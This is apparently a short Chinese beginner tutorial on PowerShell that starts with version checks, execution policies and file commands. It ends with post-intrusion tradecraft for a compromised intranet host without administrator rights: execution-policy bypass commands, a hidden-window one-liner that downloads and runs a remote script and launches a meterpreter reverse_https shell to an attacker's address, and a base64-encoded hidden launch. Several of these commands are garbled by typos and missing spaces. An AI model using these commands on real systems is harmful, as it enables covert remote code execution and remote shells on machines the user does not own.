PowerShell-得力安全测试工具
--只给小白看,大佬别路过
介绍:Windows powershell是一种命令行外壳程序后和脚本环境。
注:命令行外壳程序:是命令行界面的解析器
Windows针对版本:
win7/win2008:2.0
win8/win2012:3.0
win8.1/win2012 r2:4.0
win7、win2008、win8、win2012均可升级
文件后缀名:.ps1
常用命令:
0x00_查看powershell版本
get-host或$psversiontable.psversion
0x00_执行策略
相关执行策略:
Restriceted:脚本不能运行。
RemoteSigned:只本地脚本可执行。
Allsigned:签名可信即可运行。
Unestricted:允许所有
查看当前执行策略
executionpolicy
设置执行策略
set-executionpolicy <policy name>
报错原因是没有以管理员打开
0x01_文件操作
新增文件、目录:new-item
net-item 文件名
目录
文件
删除:
文件、目录:remove-item
remove-item 目录/文件
内容:
设置文本内容:set-content
显示内容:get-content
追加内容:add-content
set-content qq.txt "hello world!"
get-content qq.txt
add-content qq.txt "Hello World2"
清除内容:clear-content
clear-content qq.txt
有个问题,如果你入侵了一台内网的主机,但是没有管理员的权限,那该如何运行上传的脚本?
可以用绕过本地权限执行命令
powershell.exe -exec bypass -command "{import-module c:\pow.ps1; invoke-allchecks}"
或者
powershell.exe -executionpolicy bypass -file pow.ps1
再或者,更高级隐藏执行
powershell.exe -executionpolicy bypass-windowstyle hidden-noprofile-noniiex(new-objectnet.webclient).downloadstring("xxx.ps1");invoke-shellcodde -payload windows/meterpreter/reverse_https -Lhost ip地址 -Lport 端口
还有base64加密
powershell.exe -nop -noni -w hidden -exec bypass -enc base64编码